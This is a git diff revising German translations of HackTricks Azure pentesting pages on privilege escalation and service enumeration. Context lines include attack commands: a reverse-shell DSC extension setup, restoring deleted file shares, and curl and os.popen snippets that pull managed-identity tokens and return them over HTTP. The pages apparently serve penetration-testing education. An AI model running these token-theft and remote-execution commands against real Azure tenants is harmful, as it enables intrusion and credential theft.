Microsoft.Storage/storageAccounts/read -Mit diesen Berechtigungen kann ein Angreifer einen gelöschten Azure-Dateifreigabe wiederherstellen, indem er die ID der gelöschten Version angibt. Diese Privilegieneskalation könnte es einem Angreifer ermöglichen, sensible Daten wiederherzustellen, die dauerhaft gelöscht werden sollten, was möglicherweise zu unbefugtem Zugriff führt. +Mit diesen Berechtigungen kann ein Angreifer einen gelöschten Azure-Dateifreigabe wiederherstellen, indem er dessen gelöschte Versions-ID angibt. Diese Privilegieneskalation könnte es einem Angreifer ermöglichen, sensible Daten wiederherzustellen, die dauerhaft gelöscht werden sollten, was potenziell zu unbefugtem Zugriff führen könnte. ```bash az storage share-rm restore \ --storage-account \ @@ -121,7 +121,7 @@ az storage share-rm restore \ ``` ## Andere interessant aussehende Berechtigungen (TODO) -- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/manageOwnership/action: Ändert den Besitz des Blobs +- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/manageOwnership/action: Ändert den Eigentümer des Blobs - Microsoft.Storage/storageAccounts/blobServices/containers/blobs/modifyPermissions/action: Ändert die Berechtigungen des Blobs - Microsoft.Storage/storageAccounts/blobServices/containers/blobs/runAsSuperUser/action: Gibt das Ergebnis des Blob-Befehls zurück - Microsoft.Storage/storageAccounts/blobServices/containers/blobs/immutableStorage/runAsSuperUser/action diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md index 55a2b3464..a11f64aad 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md @@ -12,7 +12,7 @@ Für weitere Informationen zu Azure Virtuellen Maschinen und Netzwerk siehe: ### **`Microsoft.Compute/virtualMachines/extensions/write`** -Diese Berechtigung ermöglicht das Ausführen von Erweiterungen in virtuellen Maschinen, die es erlauben, **willkürlichen Code auf ihnen auszuführen**.\ +Diese Berechtigung erlaubt das Ausführen von Erweiterungen in virtuellen Maschinen, die es ermöglichen, **willkürlichen Code auf ihnen auszuführen**.\ Beispiel für den Missbrauch von benutzerdefinierten Erweiterungen, um willkürliche Befehle in einer VM auszuführen: {{#tabs }} @@ -105,7 +105,7 @@ Set-AzVMAccessExtension -ResourceGroupName "" -VMName "" -Na DesiredConfigurationState (DSC) -Dies ist eine **VM-Erweiterung**, die zu Microsoft gehört und PowerShell DSC verwendet, um die Konfiguration von Azure Windows-VMs zu verwalten. Daher kann sie verwendet werden, um **beliebige Befehle** in Windows-VMs über diese Erweiterung auszuführen: +Dies ist eine **VM-Erweiterung**, die zu Microsoft gehört und PowerShell DSC verwendet, um die Konfiguration von Azure Windows-VMs zu verwalten. Daher kann sie verwendet werden, um **willkürliche Befehle** in Windows-VMs über diese Erweiterung auszuführen: ```powershell # Content of revShell.ps1 Configuration RevShellConfig { @@ -157,7 +157,7 @@ Set-AzVMDscExtension ` Hybrid Runbook Worker -Dies ist eine VM-Erweiterung, die es ermöglicht, Runbooks in VMs von einem Automatisierungskonto auszuführen. Für weitere Informationen siehe den [Automatisierungskonten-Dienst](../az-services/az-automation-account/). +Dies ist eine VM-Erweiterung, die es ermöglicht, Runbooks in VMs von einem Automatisierungskonto auszuführen. Für weitere Informationen siehe den [Automation Accounts service](../az-services/az-automation-account/). @@ -327,8 +327,8 @@ az vm create \ ``` ### `Microsoft.Compute/virtualMachines/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` -Diese Berechtigungen sind ausreichend, um **neue verwaltete Identitäten einem VM zuzuweisen**. Beachten Sie, dass ein VM mehrere verwaltete Identitäten haben kann. Es kann die **systemzugewiesene** und **viele benutzerverwaltete Identitäten** haben.\ -Dann ist es möglich, über den Metadatenservice Tokens für jede einzelne zu generieren. +Diese Berechtigungen sind ausreichend, um **neue verwaltete Identitäten einem VM zuzuweisen**. Beachten Sie, dass eine VM mehrere verwaltete Identitäten haben kann. Sie kann die **systemzugewiesene** und **viele benutzerverwaltete Identitäten** haben.\ +Von dem Metadatenservice aus ist es dann möglich, Tokens für jede einzelne zu generieren. ```bash # Get currently assigned managed identities to the VM az vm identity show \ @@ -351,6 +351,6 @@ https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/clou ### TODO: Microsoft.Compute/virtualMachines/WACloginAsAdmin/action -Laut den [**Dokumenten**](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/compute#microsoftcompute) ermöglicht diese Berechtigung die Verwaltung des Betriebssystems Ihrer Ressource über das Windows Admin Center als Administrator. Es scheint also, dass dies Zugriff auf das WAC gewährt, um die VMs zu steuern... +Laut den [**Docs**](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/compute#microsoftcompute) ermöglicht diese Berechtigung die Verwaltung des Betriebssystems Ihrer Ressource über das Windows Admin Center als Administrator. Es scheint also, dass dies Zugriff auf das WAC gewährt, um die VMs zu steuern... {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/README.md b/src/pentesting-cloud/azure-security/az-services/README.md index 4cbc0c5d1..32d867997 100644 --- a/src/pentesting-cloud/azure-security/az-services/README.md +++ b/src/pentesting-cloud/azure-security/az-services/README.md @@ -12,7 +12,7 @@ Sie finden die Liste der **Microsoft-Portale unter** [**https://msportals.io/**] Holen Sie sich das **access_token** von **IDENTITY_HEADER** und **IDENTITY_ENDPOINT**: `system('curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER');`. -Fragen Sie dann die Azure REST API ab, um die **Abonnement-ID** und mehr zu erhalten. +Fragen Sie dann die Azure REST API an, um die **Abonnement-ID** und mehr zu erhalten. ```powershell $Token = 'eyJ0eX..' $URI = 'https://management.azure.com/subscriptions?api-version=2020-01-01' @@ -60,8 +60,8 @@ cmd = 'curl "%s?resource=https://management.azure.com&apiversion=2017-09-01" -H val = os.popen(cmd).read() return func.HttpResponse(val, status_code=200) ``` -## List of Services +## Liste der Dienste -**Die Seiten dieses Abschnitts sind nach Azure-Diensten geordnet. Dort finden Sie Informationen über den Dienst (wie er funktioniert und welche Fähigkeiten er hat) sowie Anleitungen zur Enumeration jedes Dienstes.** +**Die Seiten dieses Abschnitts sind nach Azure-Diensten geordnet. Dort finden Sie Informationen über den Dienst (wie er funktioniert und welche Funktionen er hat) sowie Anleitungen zur Enumeration jedes Dienstes.** {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/az-acr.md b/src/pentesting-cloud/azure-security/az-services/az-acr.md index 58507908d..8649bee14 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-acr.md +++ b/src/pentesting-cloud/azure-security/az-services/az-acr.md @@ -4,7 +4,7 @@ ## Grundinformationen -Azure Container Registry (ACR) ist ein verwalteter Dienst von Microsoft Azure zum **Speichern und Verwalten von Docker-Container-Images und anderen Artefakten**. Es bietet Funktionen wie integrierte Entwicklerwerkzeuge, Geo-Replikation, Sicherheitsmaßnahmen wie rollenbasierte Zugriffskontrolle und Bildscanning, automatisierte Builds, Webhooks und Trigger sowie Netzwerkisolierung. Es funktioniert mit beliebten Tools wie Docker CLI und Kubernetes und integriert sich gut mit anderen Azure-Diensten. +Azure Container Registry (ACR) ist ein verwalteter Dienst von Microsoft Azure zum **Speichern und Verwalten von Docker-Container-Images und anderen Artefakten**. Er bietet Funktionen wie integrierte Entwicklerwerkzeuge, Geo-Replikation, Sicherheitsmaßnahmen wie rollenbasierte Zugriffskontrolle und Bildscanning, automatisierte Builds, Webhooks und Trigger sowie Netzwerkisolierung. Er funktioniert mit beliebten Tools wie Docker CLI und Kubernetes und integriert sich gut mit anderen Azure-Diensten. ### Auflisten @@ -36,7 +36,7 @@ Get-AzContainerRegistry -ResourceGroupName "MyResourceGroup" -Name "MyRegistry" {{#endtab }} {{#endtabs }} -Anmelden und aus dem Registry ziehen +Anmelden und aus dem Register ziehen ```bash docker login .azurecr.io --username --password docker pull .azurecr.io/: diff --git a/src/pentesting-cloud/azure-security/az-services/az-app-service.md b/src/pentesting-cloud/azure-security/az-services/az-app-service.md index 2d2fa7b04..f5238a7b5 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-app-service.md +++ b/src/pentesting-cloud/azure-security/az-services/az-app-service.md @@ -16,13 +16,13 @@ Jede App läuft in einer Sandbox, aber die Isolation hängt von den App Service- ### Azure Function Apps -Im Grunde sind **Azure Function Apps eine Untergruppe von Azure App Service** im Web, und wenn Sie zur Webkonsole gehen und alle App-Dienste auflisten oder `az webapp list` im az cli ausführen, werden Sie in der Lage sein, **die Function Apps hier ebenfalls aufgelistet zu sehen**. +Im Grunde sind **Azure Function Apps eine Untergruppe von Azure App Service** im Web, und wenn Sie zur Webkonsole gehen und alle App-Dienste auflisten oder `az webapp list` im az cli ausführen, werden Sie **auch die Function Apps hier aufgelistet sehen**. Tatsächlich werden einige der **sicherheitsbezogenen Funktionen**, die App Services verwenden (`webapp` im az cli), **auch von Function Apps verwendet**. ## Basisauthentifizierung -Beim Erstellen einer Webanwendung (und normalerweise einer Azure-Funktion) ist es möglich anzugeben, ob die Basisauthentifizierung aktiviert werden soll. Dies aktiviert im Wesentlichen **SCM und FTP** für die Anwendung, sodass es möglich ist, die Anwendung mit diesen Technologien bereitzustellen.\ +Beim Erstellen einer Webanwendung (und einer Azure-Funktion normalerweise) ist es möglich anzugeben, ob die Basisauthentifizierung aktiviert werden soll. Dies aktiviert im Grunde **SCM und FTP** für die Anwendung, sodass es möglich ist, die Anwendung mit diesen Technologien bereitzustellen.\ Darüber hinaus stellt Azure eine **API zur Verfügung, die es ermöglicht, den Benutzernamen, das Passwort und die URL** zum Verbinden mit den SCM- und FTP-Servern abzurufen. - Authentifizierung: az webapp auth show --name lol --resource-group lol_group @@ -87,9 +87,6 @@ az webapp config storage-account list --name --resource-gl_group - - - # List all the functions az functionapp list @@ -145,7 +142,7 @@ Get-AzWebApp | ?{$_.Kind -notmatch "functionapp"} ``` {{#endtab }} -{{#tab name="az alle abrufen" }} +{{#tab name="az get all" }} ```bash #!/bin/bash diff --git a/src/pentesting-cloud/azure-security/az-services/az-application-proxy.md b/src/pentesting-cloud/azure-security/az-services/az-application-proxy.md index 761e1ed47..e38b0bed9 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-application-proxy.md +++ b/src/pentesting-cloud/azure-security/az-services/az-application-proxy.md @@ -19,7 +19,7 @@ So funktioniert es: 5. Der Connector sendet die Anfrage an die **lokale Anwendung**. 6. Die **Antwort** wird über den Connector und den Application Proxy-Dienst **an den Benutzer** gesendet. -## Enumeration +## Aufzählung ```powershell # Enumerate applications with application proxy configured Get-AzureADApplication | %{try{Get-AzureADApplicationProxyApplication -ObjectId $_.ObjectID;$_.DisplayName;$_.ObjectID}catch{}} @@ -33,6 +33,6 @@ Get-ApplicationProxyAssignedUsersAndGroups -ObjectId ``` ## Referenzen -- [https://learn.microsoft.com/de-de/azure/active-directory/app-proxy/application-proxy](https://learn.microsoft.com/de-de/azure/active-directory/app-proxy/application-proxy) +- [https://learn.microsoft.com/en-us/azure/active-directory/app-proxy/application-proxy](https://learn.microsoft.com/en-us/azure/active-directory/app-proxy/application-proxy) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/az-arm-templates.md b/src/pentesting-cloud/azure-security/az-services/az-arm-templates.md index e99ebbfae..15f2c2f02 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-arm-templates.md +++ b/src/pentesting-cloud/azure-security/az-services/az-arm-templates.md @@ -1,8 +1,8 @@ -# Az - ARM Templates / Deployments +# Az - ARM-Vorlagen / Bereitstellungen {{#include ../../../banners/hacktricks-training.md}} -## Grundinformationen +## Grundlegende Informationen [Aus den Dokumenten:](https://learn.microsoft.com/en-us/azure/azure-resource-manager/templates/overview) Um **Infrastruktur als Code für Ihre Azure-Lösungen** zu implementieren, verwenden Sie Azure Resource Manager-Vorlagen (ARM-Vorlagen). Die Vorlage ist eine JavaScript Object Notation (**JSON**) Datei, die die **Infrastruktur** und Konfiguration für Ihr Projekt **definiert**. Die Vorlage verwendet eine deklarative Syntax, die es Ihnen ermöglicht, anzugeben, was Sie bereitstellen möchten, ohne die Reihenfolge der Programmierbefehle zu schreiben, um es zu erstellen. In der Vorlage geben Sie die bereitzustellenden Ressourcen und die Eigenschaften dieser Ressourcen an. diff --git a/src/pentesting-cloud/azure-security/az-services/az-automation-account/README.md b/src/pentesting-cloud/azure-security/az-services/az-automation-account/README.md index 5be1e5e92..d3288e05c 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-automation-account/README.md +++ b/src/pentesting-cloud/azure-security/az-services/az-automation-account/README.md @@ -10,7 +10,7 @@ Diese sind wie "**geplante Aufgaben**" in Azure, die es Ihnen ermöglichen, Ding ### Run As-Konto -Wenn das **Run as-Konto** verwendet wird, erstellt es eine Azure AD **Anwendung** mit einem selbstsignierten Zertifikat, erstellt einen **Service Principal** und weist dem Konto die Rolle **Contributor** in der **aktuellen Abonnements** zu (viele Berechtigungen).\ +Wenn **Run as Account** verwendet wird, erstellt es eine Azure AD **Anwendung** mit einem selbstsignierten Zertifikat, erstellt einen **Service Principal** und weist dem Konto die Rolle **Contributor** in der **aktuellen Abonnements** zu (viele Berechtigungen).\ Microsoft empfiehlt die Verwendung einer **Managed Identity** für das Automation Account. > [!WARNING] @@ -18,7 +18,7 @@ Microsoft empfiehlt die Verwendung einer **Managed Identity** für das Automatio ## Runbooks & Jobs -**Runbooks** ermöglichen es Ihnen, **beliebigen PowerShell**-Code auszuführen. Dies könnte von einem **Angreifer missbraucht werden**, um die Berechtigungen des **angehängten Principals** (falls vorhanden) zu stehlen.\ +**Runbooks** ermöglichen es Ihnen, **beliebigen PowerShell**-Code auszuführen. Dies könnte von einem **Angreifer missbraucht** werden, um die Berechtigungen des **angehängten Principals** (falls vorhanden) zu stehlen.\ Im **Code** der **Runbooks** könnten Sie auch **sensible Informationen** (wie Anmeldeinformationen) finden. Wenn Sie die **Jobs** **lesen** können, tun Sie dies, da sie die **Ausgabe** des Laufs (potenziell **sensible Informationen**) **enthalten**. @@ -30,13 +30,13 @@ Gehen Sie zu `Automation Accounts` --> `